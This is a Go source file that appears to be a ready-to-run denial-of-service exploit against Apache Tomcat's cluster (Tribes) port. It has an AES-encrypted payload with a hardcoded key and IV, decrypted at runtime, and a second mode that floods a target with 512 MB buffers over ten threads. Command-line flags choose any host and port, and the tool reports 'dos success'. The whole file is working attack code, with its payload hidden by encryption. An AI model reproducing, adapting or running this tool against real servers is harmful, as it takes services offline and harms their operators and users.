package main

import (
	"crypto/aes"
	"crypto/cipher"
	"flag"
	"fmt"
	"net"
	"os"
	"os/signal"
	"time"
)

var payload = []byte{
	0x3b, 0xea, 0x4f, 0xb2, 0x56, 0x10, 0x38, 0x5c, 0xdd, 0x4c, 0xe1, 0x4e, 0x24, 0x30, 0x97,
	0xf5, 0x7a, 0x4a, 0xd1, 0xa9, 0xa5, 0x0d, 0x30, 0xfe, 0x6b, 0xa6, 0x07, 0x82, 0x0d, 0x30,
	0xae, 0x29, 0x93, 0x2a, 0x32, 0x81, 0xea, 0xc6, 0x17, 0x95, 0x1f, 0xfa, 0xc8, 0x30, 0xdd,
	0x74, 0xd0, 0x2c, 0x2f, 0x8b, 0x0c, 0xd2, 0x5f, 0xa2, 0xc0, 0x25, 0x1d, 0xf8, 0xe2, 0xb0,
	0x83, 0xd8, 0xfa, 0x11, 0xb6, 0x4b, 0x73, 0x98, 0x60, 0x3a, 0xe5, 0x3b, 0x6e, 0xfe, 0x39,
	0xfe, 0xcb, 0x20, 0x87, 0x34, 0x62, 0x5d, 0xfb, 0xeb, 0x68, 0xe0, 0xce, 0x93, 0xd8, 0x25,
	0x01, 0x31, 0x8a, 0xa1, 0x68, 0x94, 0x0d, 0x79, 0xd5, 0x49, 0xdd, 0xfe, 0x3e, 0xba, 0x25,
	0x85, 0x95, 0x84, 0x3e, 0xa1, 0xac, 0xb2, 0xc9, 0x95, 0x04, 0x32, 0x01, 0xaf, 0x4c, 0xcf,
	0x34, 0x21, 0xaf, 0x01, 0x31, 0x6d, 0xdf, 0x91, 0x39, 0xdf, 0xe4, 0xd7, 0x79, 0x8e, 0xce,
	0xf3, 0x26, 0xb2, 0x6a, 0x3d, 0xdc, 0x96, 0xe0, 0xdd, 0x34, 0xf4, 0xf9, 0x77, 0xe5, 0xf5,
	0x53, 0x8a, 0x19, 0x7c, 0x68, 0x9c, 0xeb, 0xa5, 0x3b, 0xff, 0xeb, 0xee, 0xa3, 0x18, 0x41,
	0xa8, 0x84, 0x29, 0x69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x00, 0x4d, 0x54, 0x52, 0x49, 0x42, 0x45, 0x53, 0x2d, 0x42, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x35, 0x00, 0x00, 0x01, 0x80, 0x78, 0x12, 0x6e, 0x02, 0x00, 0x01, 0xe2, 0x40, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x04, 0x7f, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x52, 0x49, 0x42, 0x45, 0x53,
	0x2d, 0x45, 0x01, 0x00, 0x40,
}

var a = []byte{
	0x61, 0x6c, 0x70, 0x6f,
	0x73, 0x69, 0x63, 0x6d,
	0x77, 0x75, 0x73, 0x68,
	0x79, 0x68, 0x65, 0x6d,
}

var b = []byte{
	0x61, 0x70, 0x73, 0x6d,
	0x76, 0x6a, 0x64, 0x75,
	0x7a, 0x69, 0x73, 0x6f,
	0x77, 0x6c, 0x65, 0x69,
}

var (
	host string
	port int
	safe bool
)

func main() {
	flag.StringVar(&host, "h", "127.0.0.1", "target host")
	flag.IntVar(&port, "p", 5000, "target port")
	flag.BoolVar(&safe, "s", false, "safe config")
	flag.Parse()
	if safe {
		doSafe()
	} else {
		doUnsafe()
	}
}

func doSafe() {
	fmt.Println("tomcat dos in safe config")
	var maxLen = 536870912
	var thread = 10
	temp := make([]byte, maxLen)
	copy(temp, safePayload)
	for i := len(safePayload); i < maxLen; i++ {
		temp[i] = 0x00
	}
	successChan := make(chan bool, thread)
	addr := fmt.Sprintf("%s:%d", host, port)
	for i := 0; i < thread; i++ {
		go exploit(temp, addr, successChan)
	}
	go wait(successChan, thread)
	exit()
}

func doUnsafe() {
	var thread = 3
	fmt.Println("tomcat dos in unsafe config")
	poc, _ := decrypt(payload, a, b)
	successChan := make(chan bool, thread)
	addr := fmt.Sprintf("%s:%d", host, port)
	for i := 0; i < thread; i++ {
		go exploit(poc, addr, successChan)
	}
	go wait(successChan, thread)
	exit()
}

func wait(successChan chan bool, thread int) {
	times := 0
	for {
		select {
		case <-successChan:
			times++
			if times == thread {
				fmt.Println("print ctrl+c to exit")
			}
		}
	}
}

func exploit(payload []byte, addr string, successChan chan bool) {
	conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}
	defer func(conn net.Conn) {
		_ = conn.Close()
	}(conn)
	_, err = conn.Write(payload)
	if err != nil {
		return
	}
	fmt.Printf("%s\n", "dos success")
	successChan <- true
}

func exit() {
	c := make(chan os.Signal)
	signal.Notify(c, os.Interrupt, os.Kill)
	s := <-c
	fmt.Println("exit", s)
}

func decrypt(ciphertext []byte, key, iv []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	blockMode := cipher.NewCBCDecrypter(block, iv[:blockSize])
	origData := make([]byte, len(ciphertext))
	blockMode.CryptBlocks(origData, ciphertext)
	length := len(origData)
	unPadding := int(origData[length-1])
	origData = origData[:(length - unPadding)]
	return origData, nil
}
